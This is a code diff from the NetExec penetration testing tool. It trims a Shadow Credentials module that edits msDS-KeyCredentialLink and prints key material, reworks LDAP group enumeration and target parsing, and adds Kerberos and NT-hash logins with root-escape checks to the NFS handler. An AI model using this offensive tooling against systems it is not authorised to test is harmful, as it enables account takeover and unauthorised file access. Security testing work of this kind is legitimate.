-            "Owner": credential.Owner,
-            "Device ID": credential.DeviceId.toFormatD().lower(),
-            "Version": hex(credential.Version.value),
-            "Key ID": credential.Identifier,
-            "Key hash": credential.KeyHash.hex(),
-            "Key size": getattr(credential.RawKeyMaterial, "keySize", "unknown"),
-            "  Exponent (E)": credential.RawKeyMaterial.exponent,
-            "  Modulus (N)": hex(credential.RawKeyMaterial.modulus),
-            "  Prime 1 (P)": hex(credential.RawKeyMaterial.prime1),
-            "  Prime 2 (Q)": hex(credential.RawKeyMaterial.prime2),
-            "Usage": credential.Usage,
-            "Legacy usage": credential.LegacyUsage,
-            "Source": credential.Source,
-            "Custom key info": credential.CustomKeyInfo,
-            **{f"  {key}": custom_value for key, custom_value in credential.CustomKeyInfo.items()},
-            "Last logon time": credential.LastLogonTime,
-            "Creation time": credential.CreationTime,
-        }.items():
-            self.context.log.highlight(f"{name:<17} {value}")
-
-    def remove(self, target_dn, credentials):
-        result = self.get_credential(credentials)
-        if result is None:
-            return
-
-        raw_value, _ = result
-        try:
-            # Delete the exact raw value so neighboring credentials remain untouched.
-            self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [raw_value])]})
-        except LDAPSessionError as e:
-            self.context.log.fail(f"Failed to remove the KeyCredential: {e}")
-            return
-
-        self.context.log.success(f"Removed KeyCredential {self.device_id} from {self.target}")
-
-    def clear(self, target_dn, raw_values):
-        if not raw_values:
-            self.context.log.display(f"No KeyCredentials found on {self.target}")
-            return
-
-        try:
-            self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [])]})
-        except LDAPSessionError as e:
-            self.context.log.fail(f"Failed to clear KeyCredentials: {e}")
-            return
-
-        self.context.log.success(f"Cleared all KeyCredentials from {self.target}")
-
-    def backup(self, raw_values):
-        output_path = Path(self.jsonfile) if self.jsonfile else Path(NXC_PATH) / "modules" / "shadow-creds" / f"{self.target.rstrip('$')}.json"
-        output_path.parent.mkdir(parents=True, exist_ok=True)
-        output_path.write_text(json.dumps({"keyCredentials": raw_values}, indent=4), encoding="utf-8")
-        self.context.log.success(f"Backed up {len(raw_values)} KeyCredential(s) from {self.target} to {output_path}")
-
-    def revert(self, target_dn):
-        try:
-            key_credentials = []
-            for key_credential in json.loads(Path(self.jsonfile).read_text(encoding="utf-8"))["keyCredentials"]:
-                if not isinstance(key_credential, (dict, str)):
-                    raise ValueError("keyCredentials entries must be objects or strings")
-                key_credentials.append(KeyCredential.fromDict(key_credential).toDNWithBinary().toString() if isinstance(key_credential, dict) else key_credential)
-        except Exception as e:
-            self.context.log.fail(f"Failed to read Shadow Credentials backup: {e}")
-            return
-
-        try:
-            self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_REPLACE, key_credentials)]})
-        except Exception as e:
-            self.context.log.fail(f"Failed to revert Shadow Credentials: {e}")
-            return
-        self.context.log.success(f"Reverted {self.target} to {len(key_credentials)} backed-up KeyCredential(s)")

nxc/modules/spider_plus.py

@@ -127,8 +127,6 @@ class SMBSpiderPlus:
                 self.logger.debug(f"The folder {subfolder} does not exist.")
             elif "STATUS_STOPPED_ON_SYMLINK" in str(e):
                 self.logger.debug(f"The folder {subfolder} is a symlink that cannot be followed. Skipping.")
-            elif "STATUS_NO_SUCH_FILE" in str(e):
-                self.logger.debug(f"The folder {subfolder} is empty.")
             elif self.reconnect():
                 filelist = self.list_path(share, subfolder)
         except NetBIOSTimeout as e:

nxc/modules/timeroast.py

@@ -97,7 +97,7 @@ class NXCModule:
                 if ready:
                     reply = sock.recvfrom(120)[0]
 
-                    # Extract RID, hash and "salt" if successful.
+                    # Extract RID, hash and "salt" if succesful.
                     if len(reply) == 68:
                         salt = reply[:48]
                         answer_rid = unpack("<I", reply[-20:-16])[0] ^ keyflag

nxc/netexec.py

@@ -1,14 +1,15 @@
 # PYTHON_ARGCOMPLETE_OK
 import contextlib
 import sys
-
 from nxc.helpers.logger import highlight
-from nxc.helpers.misc import display_modules
+from nxc.helpers.misc import identify_target_file, display_modules
+from nxc.parsers.ip import parse_targets
+from nxc.parsers.nmap import parse_nmap_xml
+from nxc.parsers.nessus import parse_nessus_file
 from nxc.cli import gen_cli_args
 from nxc.loaders.protocolloader import ProtocolLoader
 from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
 from nxc.first_run import first_run_setup
-from nxc.parsers.ip import process_targets
 from nxc.paths import NXC_PATH, WORKSPACE_DIR
 from nxc.console import nxc_console
 from nxc.logger import nxc_logger
@@ -20,6 +21,7 @@ from nxc.helpers import powershell
 import signal
 import shutil
 import os
+from os.path import exists
 from os.path import join as path_join
 from sys import exit
 from rich.progress import Progress
@@ -108,6 +110,8 @@ def main():
         nxc_logger.error("KRB5CCNAME environment variable is not set")
         exit(1)
 
+    targets = []
+
     if hasattr(args, "cred_id") and args.cred_id:
         for cred_id in args.cred_id:
             if "-" in str(cred_id):
@@ -120,11 +124,27 @@ def main():
                     nxc_logger.error(f"Error parsing database credential id: {e}")
                     exit(1)
 
-    targets = process_targets(args)
+    if hasattr(args, "target") and args.target:
+        for target in args.target:
+            try:
+                if exists(target) and os.path.isfile(target):
+                    target_file_type = identify_target_file(target)
+                    if target_file_type == "nmap":
+                        targets.extend(parse_nmap_xml(target, args.protocol))
+                    elif target_file_type == "nessus":
+                        targets.extend(parse_nessus_file(target, args.protocol))
+                    else:
+                        with open(target) as target_file:
+                            for target_entry in target_file:
+                                targets.extend(parse_targets(target_entry.strip()))
+                else:
+                    targets.extend(parse_targets(target))
+            except Exception as e:
+                nxc_logger.fail(f"Failed to parse target '{target}': {e}")
 
     # The following is a quick hack for the powershell obfuscation functionality, I know this is yucky
     if hasattr(args, "clear_obfscripts") and args.clear_obfscripts:
-        obfuscated_dir = path_join(NXC_PATH, "obfuscated_scripts")
+        obfuscated_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
         shutil.rmtree(obfuscated_dir)
         os.mkdir(obfuscated_dir)
         nxc_logger.success("Cleared cached obfuscated PowerShell scripts")

nxc/parsers/ip.py

@@ -1,135 +1,22 @@
-import netifaces
 from ipaddress import ip_address, ip_network, summarize_address_range, ip_interface
-from nxc.helpers.logger import highlight
-from nxc.helpers.misc import identify_target_file
-from nxc.config import exclude_hosts, skip_self
-from nxc.logger import nxc_logger
-from nxc.parsers.nmap import parse_nmap_xml
-from nxc.parsers.nessus import parse_nessus_file
-
-from os.path import exists, isfile
-from pathlib import Path
-from sys import exit
-
-
-def process_targets(args):
-    targets = []
-    if hasattr(args, "target") and args.target:
-        for target in args.target:
-            try:
-                if exists(target) and isfile(target):
-                    target_file_type = identify_target_file(target)
-                    if target_file_type == "nmap":
-                        targets.extend(parse_nmap_xml(target, args.protocol))
-                    elif target_file_type == "nessus":
-                        targets.extend(parse_nessus_file(target, args.protocol))
-                    else:
-                        with open(target) as target_file:
-                            for target_entry in target_file:
-                                targets.extend(parse_targets(target_entry.strip()))
-                else:
-                    targets.extend(parse_targets(target))
-            except Exception as e:
-                nxc_logger.fail(f"Failed to parse target '{target}': {e}")
-
-    # Handle exclusions from config
-    excluded_ips = set()
-
-    # Process exclude_hosts from config. Important, we are reusing the parse_targets because it
-    # already provides the code necessary for parsing all provided inputs
-    if args.exclude_hosts is not None:
-        exclude_hosts.extend(args.exclude_hosts)
-
-    for excluded in exclude_hosts:
-        if Path(excluded).is_file():
-            with open(excluded) as excluded_file:
-                for line in excluded_file.readlines():
-                    excluded_ips.update(parse_targets(line.strip()))
-        else:
-            excluded_ips.update(parse_targets(excluded))
-
-    # Process skip_self from config and cli argument
-    if skip_self or args.skip_self:
-        local_ips = get_local_ips()
-        if local_ips:
-            nxc_logger.debug(f"Local IP addresses detected: {local_ips}")
-            excluded_ips.update(local_ips)
-        else:
-            nxc_logger.error("Could not determine local IP address for skip_self")
-
-    # Validate that all objects to be excluded are valid IP addresses
-    try:
-        for ip in excluded_ips:
-            ip_address(ip)
-    except ValueError as e:
-        nxc_logger.error(f"Invalid IP address in excluded hosts: {e}")
-        exit(1)
-
-    # Filter out excluded targets
-    if excluded_ips:
-        ignore_target_warning = False
-        for target in targets:
-            try:
-                ip_address(target)
-            except ValueError:
-                if not ignore_target_warning:
-                    ans = input(highlight("[!] Target is not an IP address, but exclusion list detected. Hostnames will not be filtered. Do you want to continue? [Y/n] ", "red"))
-                    if ans.lower() not in ["y", "yes", ""]:
-                        exit(1)
-                    ignore_target_warning = True
-
-        original_count = len(targets)
-        excluded_targets = [target for target in targets if target in excluded_ips]
-        targets = [target for target in targets if target not in excluded_ips]
-        nxc_logger.info(f"Excluding {original_count - len(targets)} hosts from scan: {excluded_targets}")
-    return targets
-
-
-def get_local_ips():
-    """Get the local IP address using netifaces library."""
-    interfaces = netifaces.interfaces()
-    ips = set()
-
-    for interface in interfaces:
-        # Skip loopback interface
-        if interface == "lo" or interface.startswith("lo"):
-            continue
-
-        addresses = netifaces.ifaddresses(interface)
-        if netifaces.AF_INET in addresses:
-            for addr_info in addresses[netifaces.AF_INET]:
-                ip = addr_info.get("addr")
-                # Skip localhost and link-local addresses
-                if ip and not ip.startswith("127.") and not ip.startswith("169.254."):
-                    ips.add(ip)
-        if netifaces.AF_INET6 in addresses:
-            for addr_info in addresses[netifaces.AF_INET6]:
-                ip = addr_info.get("addr")
-                # Skip localhost and link-local addresses
-                if ip and not ip.startswith("::1") and not ip.startswith("fe80::"):
-                    ips.add(ip)
-    return ips
 
 
 def parse_targets(target):
     try:
         if "-" in target:
             start_ip, end_ip = target.split("-")
-            start = ip_address(start_ip)
             try:
-                end = ip_address(end_ip)
+                end_ip = ip_address(end_ip)
             except ValueError:
-                sep = ":" if start.version == 6 else "."
-                prefix = start_ip.split(sep)[:-1]
-                prefix.append(end_ip)
-                end = ip_address(sep.join(prefix))
+                first_three_octets = start_ip.split(".")[:-1]
+                first_three_octets.append(end_ip)
+                end_ip = ip_address(".".join(first_three_octets))
 
-            for ip_range in summarize_address_range(start, end):
+            for ip_range in summarize_address_range(ip_address(start_ip), end_ip):
                 for ip in ip_range:
                     yield str(ip)
         else:
-            ip = ip_interface(target).ip
-            if ip.version == 6 and ip.is_link_local:
+            if ip_interface(target).ip.version == 6 and ip_address(target).is_link_local:
                 yield str(target)
             else:
                 for ip in ip_network(target, strict=False):

nxc/protocols/ldap.py

@@ -744,12 +744,12 @@ class ldap(connection):
         self.users()
 
     def groups(self):
-        # Group specific member search
+        # Building the search filter
         if self.args.groups:
             self.logger.debug(f"Dumping group: {self.args.groups}")
 
-            # Resolve group DN and primaryGroupID (objectSid) and member attribute
-            group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid", "member"])
+            # Resolve group DN and primaryGroupID (objectSid)
+            group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid"])
             group_parsed = parse_result_attributes(group_resp)
 
             if not group_parsed:
@@ -757,63 +757,29 @@ class ldap(connection):
                 return
             else:
                 group = group_parsed[0]
-                direct_group_members = group.get("member", [])
-                if not isinstance(direct_group_members, list):
-                    direct_group_members = [direct_group_members]
 
-            # Get all group members: user must have membership OR primaryGroupID
+            # Search filter: user must have membership OR primaryGroupID
             search_filter = f"(|(memberOf={group['distinguishedName']})(primaryGroupID={group['objectSid'].split('-')[-1]}))"
             attributes = ["sAMAccountName", "distinguishedName", "cn", "objectClass"]
-            resp = self.search(search_filter, attributes)
-            group_members = parse_result_attributes(resp)
-            self.logger.debug(f"Total of records returned {len(group_members)}")
 
-            # Resolve any missing group members that the memberOf/primaryGroupID search above didn't already return
-            if len(group_members) < len(direct_group_members):
-                for member_dn in direct_group_members:
-                    member_resp = self.search(f"(distinguishedName={member_dn})", ["sAMAccountName", "distinguishedName", "cn", "objectClass"])
-                    member_parsed = parse_result_attributes(member_resp)
+        else:
+            search_filter = "(objectCategory=group)"
+            attributes = ["cn", "member", "description"]
 
-                    if member_parsed:
-                        group_members.append(member_parsed[0])
-                    else:
-                        self.logger.debug(f"Failed to resolve group member DN '{member_dn}' for group '{self.args.groups}'")
-                        group_members.append({"distinguishedName": member_dn})
-
-            # Deduplicate group members by distinguishedName or cn
-            deduped = {}
-            for item in group_members:
-                key = item.get("distinguishedName", item.get("cn", "")).lower()
-                deduped.setdefault(key, item)
-            resp_parsed = list(deduped.values())
+        resp = self.search(search_filter, attributes)
+        resp_parsed = parse_result_attributes(resp)
+        self.logger.debug(f"Total of records returned {len(resp_parsed)}")
 
+        if self.args.groups:
             # Display group members
             if not resp_parsed:
                 self.logger.fail(f"Group '{self.args.groups}' has no members")
             else:
                 for item in resp_parsed:
-                    # Display cn if it is a group
-                    # Otherwise display sAMAccountName and fall back to cn if sAMAccountName is not present
-                    # If nothing is present, display Distinguished Name
-                    if "group" in item.get("objectClass", []):
-                        out = item["cn"]
-                    elif "sAMAccountName" in item:
-                        out = item["sAMAccountName"]
-                    elif "cn" in item:
-                        out = item["cn"]
-                    else:
-                        out = item["distinguishedName"]
-                    self.logger.highlight(out)
-
-        # List all groups
+                    # Display sAMAccountName or CN if sAMAccountName not present (could be a group)
+                    # Fallback to cn should sAMAccountName not be present (e.g. Service Principal Names)
+                    self.logger.highlight(item.get("sAMAccountName", item["cn"]) if "group" not in item["objectClass"] else item["cn"])
         else:
-            search_filter = "(objectCategory=group)"
-            attributes = ["cn", "member", "description"]
-
-            resp = self.search(search_filter, attributes)
-            resp_parsed = parse_result_attributes(resp)
-            self.logger.debug(f"Total of records returned {len(resp_parsed)}")
-
             # Display all groups
             self.logger.highlight(f"{'-Group-':<40} {'-Members-':<9} {'-Description-':<60}")
             for item in resp_parsed:
@@ -1237,7 +1203,7 @@ class ldap(connection):
         def printTable(items, header):
             colLen = []
 
-            # Calculating maximum length before parsing CN.
+            # Calculating maximum lenght before parsing CN.
             for i, col in enumerate(header):
                 rowMaxLen = max(len(row[1].split(",")[0].split("CN=")[-1]) for row in items) if i == 1 else max(len(str(row[i])) for row in items)
                 colLen.append(max(rowMaxLen, len(col)))

nxc/protocols/ldap/constants.py

@@ -1,124 +0,0 @@
-from impacket.ldap.ldaptypes import ACCESS_MASK
-
-# https://learn.microsoft.com/en-us/windows/win32/secauthz/well-known-sids
-# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab?source=recommendations
-WELL_KNOWN_SIDS = {
-    "S-1-0": "Null Authority",
-    "S-1-0-0": "Nobody",
-    "S-1-1": "World Authority",
-    "S-1-1-0": "Everyone",
-    "S-1-2": "Local Authority",
-    "S-1-2-0": "Local",
-    "S-1-2-1": "Console Logon",
-    "S-1-3": "Creator Authority",
-    "S-1-3-0": "Creator Owner",
-    "S-1-3-1": "Creator Group",
-    "S-1-3-2": "Creator Owner Server",
-    "S-1-3-3": "Creator Group Server",
-    "S-1-3-4": "Owner Rights",
-    "S-1-4": "Non-unique Authority",
-    "S-1-5": "NT Authority",
-    "S-1-5-1": "Dialup",
-    "S-1-5-2": "Network",
-    "S-1-5-3": "Batch",
-    "S-1-5-4": "Interactive",
-    "S-1-5-6": "Service",
-    "S-1-5-7": "Anonymous",
-    "S-1-5-8": "Proxy",
-    "S-1-5-9": "Enterprise Domain Controllers",
-    "S-1-5-10": "Principal Self",
-    "S-1-5-11": "Authenticated Users",
-    "S-1-5-12": "Restricted Code",
-    "S-1-5-13": "Terminal Server Users",
-    "S-1-5-14": "Remote Interactive Logon",
-    "S-1-5-15": "This Organization",
-    "S-1-5-17": "This Organization",
-    "S-1-5-18": "Local System",
-    "S-1-5-19": "NT Authority",
-    "S-1-5-20": "NT Authority",
-    "S-1-5-21-0-0-0-496": "Compounded Authentication",  # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_13
-    "S-1-5-21-0-0-0-497": "Claims Valid",  # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_14
-    "S-1-5-32-544": "Administrators",
-    "S-1-5-32-545": "Users",
-    "S-1-5-32-546": "Guests",
-    "S-1-5-32-547": "Power Users",
-    "S-1-5-32-548": "Account Operators",
-    "S-1-5-32-549": "Server Operators",
-    "S-1-5-32-550": "Print Operators",
-    "S-1-5-32-551": "Backup Operators",
-    "S-1-5-32-552": "Replicators",
-    "S-1-5-32-553": "RAS and IAS Servers",
-    "S-1-5-32-554": r"BUILTIN\Pre-Windows 2000 Compatible Access",
-    "S-1-5-32-555": r"BUILTIN\Remote Desktop Users",
-    "S-1-5-32-557": r"BUILTIN\Incoming Forest Trust Builders",
-    "S-1-5-32-556": r"BUILTIN\Network Configuration Operators",
-    "S-1-5-32-558": r"BUILTIN\Performance Monitor Users",
-    "S-1-5-32-559": r"BUILTIN\Performance Log Users",
-    "S-1-5-32-560": r"BUILTIN\Windows Authorization Access Group",
-    "S-1-5-32-561": r"BUILTIN\Terminal Server License Servers",
-    "S-1-5-32-562": r"BUILTIN\Distributed COM Users",
-    "S-1-5-32-568": r"BUILTIN\DCOM Users",
-    "S-1-5-32-569": r"BUILTIN\Cryptographic Operators",
-    "S-1-5-32-571": r"BUILTIN\Cacheable Principals",
-    "S-1-5-32-572": r"BUILTIN\Non-Cacheable Principals",
-    "S-1-5-32-573": r"BUILTIN\Event Log Readers",
-    "S-1-5-32-574": r"BUILTIN\Certificate Service DCOM Access",
-    "S-1-5-32-575": r"BUILTIN\RDS Remote Access Servers",
-    "S-1-5-32-576": r"BUILTIN\RDS Endpoint Servers",
-    "S-1-5-32-577": r"BUILTIN\RDS Management Servers",
-    "S-1-5-32-578": r"BUILTIN\Hyper-V Administrators",
-    "S-1-5-32-579": r"BUILTIN\Access Control Assistance Operators",
-    "S-1-5-32-580": r"BUILTIN\Remote Management Users",
-    "S-1-5-32-581": r"BUILTIN\Default Account",
-    "S-1-5-32-582": r"BUILTIN\Storage Replica Administrators",
-    "S-1-5-32-583": r"BUILTIN\Device Owners",
-    "S-1-5-32-584": r"BUILTIN\User Mode Hardware Operators",
-    "S-1-5-32-585": r"BUILTIN\OpenSSH Users",
-    "S-1-5-33": "Write Restricted Code",
-    "S-1-5-64-10": "NTLM Authentication",
-    "S-1-5-64-14": "SChannel Authentication",
-    "S-1-5-64-21": "Digest Authority",
-    "S-1-5-65-1": "This Organization Certificate",  # see https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/39f588d6-21e3-4e09-a9f2-d8f7b9b998bf
-    "S-1-5-80": "NT Service",
-    "S-1-5-80-0": "All Services",
-    "S-1-5-83-0": r"NT VIRTUAL MACHINE\Virtual Machines",
-    "S-1-5-84-0-0-0-0-0": "User Mode Drivers",
-    "S-1-5-1000": "Other Organization",
-    "S-1-16-0": "Untrusted Mandatory Level",
-    "S-1-16-4096": "Low Mandatory Level",
-    "S-1-16-8192": "Medium Mandatory Level",
-    "S-1-16-8448": "Medium Plus Mandatory Level",
-    "S-1-16-12288": "High Mandatory Level",
-    "S-1-16-16384": "System Mandatory Level",
-    "S-1-16-20480": "Protected Process Mandatory Level",
-    "S-1-16-28672": "Secure Process Mandatory Level",
-    "S-1-18-1": "Authentication Authority Asserted Identity",
-    "S-1-18-2": "Service Asserted Identity",
-    "S-1-18-3": "Fresh public key identity",
-    "S-1-18-5": "MFA Key Property",
-    "S-1-18-6": "Attested Key Property",
-}
-
-ACCESS_MASK_TO_TEXT_LOOKUP = {
-    ACCESS_MASK.GENERIC_READ: "GENERIC_READ",
-    ACCESS_MASK.GENERIC_WRITE: "GENERIC_WRITE",
-    ACCESS_MASK.GENERIC_EXECUTE: "GENERIC_EXECUTE",
-    ACCESS_MASK.GENERIC_ALL: "GENERIC_ALL",
-    ACCESS_MASK.MAXIMUM_ALLOWED: "MAXIMUM_ALLOWED",
-    ACCESS_MASK.ACCESS_SYSTEM_SECURITY: "ACCESS_SYSTEM_SECURITY",
-    ACCESS_MASK.SYNCHRONIZE: "SYNCHRONIZE",
-    ACCESS_MASK.WRITE_OWNER: "WRITE_OWNER",
-    ACCESS_MASK.WRITE_DACL: "WRITE_DACL",
-    ACCESS_MASK.READ_CONTROL: "READ_CONTROL",
-    ACCESS_MASK.DELETE: "DELETE",
-    # file system rights
-    0x00000001: "FILE_READ_DATA",
-    0x00000002: "FILE_WRITE_DATA",
-    0x00000004: "FILE_APPEND_DATA",
-    0x00000008: "FILE_READ_EA",
-    0x00000010: "FILE_WRITE_EA",
-    0x00000020: "FILE_EXECUTE",
-    0x00000040: "FILE_DELETE_CHILD",
-    0x00000080: "FILE_READ_ATTRIBUTES",
-    0x00000100: "FILE_WRITE_ATTRIBUTES"
-}

nxc/protocols/ldap/kerberos.py

@@ -167,7 +167,7 @@ class KerberosAttacks:
                 if e.errno == 113:
                     self.logger.fail(f"Unable to resolve KDC hostname: {e!s}")
                 else:
-                    self.logger.fail(f"Some other OSError occurred: {e!s}")
+                    self.logger.fail(f"Some other OSError occured: {e!s}")
                 return None
             except Exception as e:
                 self.logger.debug(f"TGT: {e!s}")

nxc/protocols/nfs.py

@@ -5,22 +5,15 @@ from nxc.connection import connection
 from nxc.logger import NXCAdapter
 from nxc.helpers.logger import highlight
 from nxc.config import host_info_colors
-from pyNfsClient import (
-    Portmap,
-    Mount,
-    NFSv3,
-)
+from pyNfsClient import NFSClient, discover_nfs_versions
+from pyNfsClient.kerberos import KerberosInitiator
 from pyNfsClient.const import (
-    NFS_PROGRAM,
-    NFS_V3,
     ACCESS3_READ,
     ACCESS3_MODIFY,
     ACCESS3_EXECUTE,
-    NFSSTAT3,
     NFS3ERR_NOENT,
     NF3REG,
 )
-import re
 import uuid
 import math
 import os
@@ -74,11 +67,14 @@ fsid_lens = {
 
 class nfs(connection):
     def __init__(self, args, db, host):
+        if args.nfs_auth in ("krb5", "krb5i", "krb5p"):
+            args.kerberos = True
         self.protocol = "nfs"
-        self.port = 111
-        self.portmap = None
-        self.mnt_port = None
-        self.mount = None
+        self.port = args.port or 2049
+        self.nfs = None
+        self.nfs_version = args.nfs_version
+        self.nfs_versions = ()
+        self.discovery = None
         self.auth = {
             "flavor": 1,
             "machine_name": uuid.uuid4().hex.upper()[0:6],
@@ -86,6 +82,9 @@ class nfs(connection):
             "gid": 0,
             "aux_gid": [],
         }
+        self.rpc_auth = self.auth if args.nfs_auth == "sys" else None
+        self.authenticated = False
+        self.credentials = None
         self.root_escape = None
         # If root escape is possible, the escape_share and escape_fh will be populated
         self.escape_share = None
@@ -97,25 +96,59 @@ class nfs(connection):
             extra={
                 "protocol": "NFS",
                 "host": self.host,
-                "port": self.port,
+                "port": self.port or self.args.port or 2049,
                 "hostname": self.hostname,
             }
         )
 
+    def uses_kerberos(self):
+        return self.args.nfs_auth in ("krb5", "krb5i", "krb5p")
+
+    @staticmethod
+    def auth_snapshot(auth):
+        if not isinstance(auth, dict):
+            return auth
+        auth = dict(auth)
+        auth["aux_gid"] = tuple(auth.get("aux_gid", ()))
+        return auth
+
+    def connect_nfs(self):
+        if self.nfs is not None:
+            return self.nfs
+        port = self.args.port
+        if port is None and self.nfs_version == "3" and self.discovery is not None:
+            port = self.discovery.nfs3_port
+        self.nfs = NFSClient(self.host, self.nfs_version, port, self.args.nfs_timeout, self.auth if self.uses_kerberos() and self.rpc_auth is None else self.rpc_auth)
+        self.nfs.connect()
+        self.conn = self.nfs
+        self.port = self.nfs.port
+        return self.nfs
+
+    def selected_root_handle(self):
+        if self.root_escape and not self.args.share:
+            self.logger.success(f"Successful escape on share: {self.escape_share}")
+            return self.escape_fh
+        if not self.args.share and self.nfs_version == "3":
+            self.logger.fail("No root escape possible, please specify a share")
+            return None
+        mount_info = self.nfs.root_handle(self.args.share or "/")
+        if mount_info["status"] != 0:
+            self.logger.fail(f"Could not open share {self.args.share or '/'}: {self.nfs.status_name(mount_info['status'])}")
+            return None
+        return mount_info["mountinfo"]["fhandle"]
+
     def create_conn_obj(self):
-        """Initializes and connects to the portmap and mounted folder"""
+        """Discover supported versions and connect the selected NFS client."""
         try:
-            # Portmap Initialization
-            self.portmap = Portmap(self.host, timeout=self.args.nfs_timeout)
-            self.portmap.connect()
-
-            # Mount Initialization
-            self.mnt_port = self.portmap.getport(Mount.program, Mount.program_version)
-            self.mount = Mount(host=self.host, port=self.mnt_port, timeout=self.args.nfs_timeout, auth=self.auth)
-            self.mount.connect()
-
-            # Change logging port to the NFS port
-            self.port = self.mnt_port
+            self.discovery = discover_nfs_versions(self.host, self.rpc_auth, self.args.port or 2049, self.args.nfs_timeout, 111)
+            self.nfs_versions = self.discovery.supported
+            if self.nfs_version is not None and self.nfs_version not in self.nfs_versions and not any(label == self.nfs_version or (self.nfs_version == "3" and (label == "rpcbind" or label.startswith("3@"))) for label, _ in self.discovery.inconclusive):
+                raise ConnectionError(f"NFSv{self.nfs_version} is not supported by the target")
+            if self.nfs_version is None:
+                if not self.nfs_versions:
+                    raise ConnectionError("No supported NFS version discovered")
+                self.nfs_version = "3" if "3" in self.nfs_versions else self.nfs_versions[-1]
+            self.connect_nfs()
             self.proto_logger()
         except Exception as e:
             self.logger.info(f"Error during Initialization: {e}")
@@ -123,46 +156,82 @@ class nfs(connection):
         return True
 
     def enum_host_info(self):
-        try:
-            # Dump all registered programs
-            programs = self.portmap.dump()
-
-            self.nfs_versions = set()
-            for program in programs:
-                if program["program"] == NFS_PROGRAM:
-                    self.nfs_versions.add(program["version"])
-        except Exception as e:
-            self.logger.fail(f"Error checking NFS version: {self.host} {e}")
-
-        # Connect to NFS
-        try:
-            nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
-            if nfs_port:
-                self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
-                self.nfs3.connect()
-                # Check if root escape is possible
-                if NFS_V3 in self.nfs_versions:
-                    self.root_escape = self.try_root_escape()
-                else:
-                    self.logger.debug("NFSv3 not supported, skipping root escape check")
-                self.nfs3.disconnect()
-        except Exception as e:
-            self.logger.fail(f"Failed to connect to NFS3 host: {e}")
-
+        if not self.uses_kerberos():
+            try:
+                self.root_escape = self.try_root_escape()
+            except Exception as e:
+                self.logger.debug(f"Root escape check failed: {e}")
+                self.root_escape = None
         self.db.add_host(self.host, self.hostname, self.port, self.nfs_versions, self.root_escape)
 
     def print_host_info(self):
-        root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"])
-        self.logger.display(f"Supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)}) ({root_escape_str})")
+        root_escape_str = colored(f"root escape:{'unknown' if self.root_escape is None else self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"])
+        self.logger.display(f"Supported NFS versions: ({', '.join(self.nfs_versions)}) NFSv{self.nfs_version} {self.args.nfs_auth} ({root_escape_str})")
 
     def disconnect(self):
-        """Disconnect mount and portmap if they are connected"""
+        """Release the generic NFS client and its version-specific state."""
         try:
-            self.mount.disconnect()
-            self.portmap.disconnect()
-            self.logger.info(f"Disconnect successful: {self.host}:{self.port}")
+            if self.nfs is not None:
+                self.nfs.disconnect()
         except Exception as e:
             self.logger.fail(f"Error during disconnect: {e}")
+        else:
+            self.logger.info(f"Disconnect successful: {self.host}:{self.port}")
+
+    def login(self):
+        if not self.uses_kerberos():
+            return True
+        if self.args.use_kcache:
+            return self.kerberos_login(self.args.domain, self.args.username[0] if self.args.username else "", kdcHost=self.args.kdcHost, useCache=True)
+        if not self.args.username:
+            self.logger.fail(f"{self.args.nfs_auth} requires credentials or --use-kcache")
+            return False
+        return super().login() or self.authenticated
+
+    def plaintext_login(self, domain, username, password):
+        if not self.uses_kerberos():
+            return True
+        return self.kerberos_login(domain, username, password=password)
+
+    def hash_login(self, domain, username, ntlm_hash):
+        if not self.uses_kerberos():
+            self.logger.fail("NT hashes only apply to Kerberos NFS authentication")
+            return False
+        return self.kerberos_login(domain, username, ntlm_hash=ntlm_hash)
+
+    def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
+        lmhash, nthash = ntlm_hash.split(":", 1) if ":" in ntlm_hash else ("", ntlm_hash)
+        self.credentials = {
+            "realm": domain,
+            "username": username,
+            "password": password,
+            "lmhash": lmhash,
+            "nthash": nthash,
+            "aes_key": aesKey,
+            "ccache": os.environ.get("KRB5CCNAME") if useCache else None,
+            "use_cache": useCache,
+            "kdc_host": kdcHost,
+            "service": "nfs",
+        }
+        try:
+            if self.nfs is not None:
+                self.nfs.disconnect()
+            self.nfs = None
+            self.rpc_auth = None
+            self.connect_nfs()
+            self.nfs.establish_gss(KerberosInitiator(self.host, self.credentials), self.args.nfs_auth)
+            self.rpc_auth = self.nfs.auth
+            self.root_escape = self.try_root_escape()
+        except Exception as e:
+            self.logger.fail(f"{domain}\\{username} ({self.args.nfs_auth}): {e}")
+            return False
+        self.domain = domain
+        self.username = username
+        self.password = password
+        self.authenticated = True
+        self.db.add_host(self.host, self.hostname, self.port, self.nfs_versions, self.root_escape)
+        self.logger.success(f"{domain}\\{username} ({self.args.nfs_auth})")
+        return True
 
     def list_dir(self, file_handle, path, recurse=1):
         """Process entries in NFS directory recursively with UID autodection"""
@@ -170,6 +239,8 @@ class nfs(connection):
             try:
                 contents = []
                 for entry in entries:
+                    if self.args.nfs_auth == "sys":
+                        self.auth.update(directory_auth)
                     if "name" in entry and entry["name"] not in [b".", b".."]:
                         item_path = f'{path}/{entry["name"].decode("utf-8")}'  # Constructing file path
                         if entry.get("name_attributes", {}).get("present", False):
@@ -178,7 +249,7 @@ class nfs(connection):
                                 contents += self.list_dir(dir_handle, item_path, recurse=recurse - 1)
                             else:
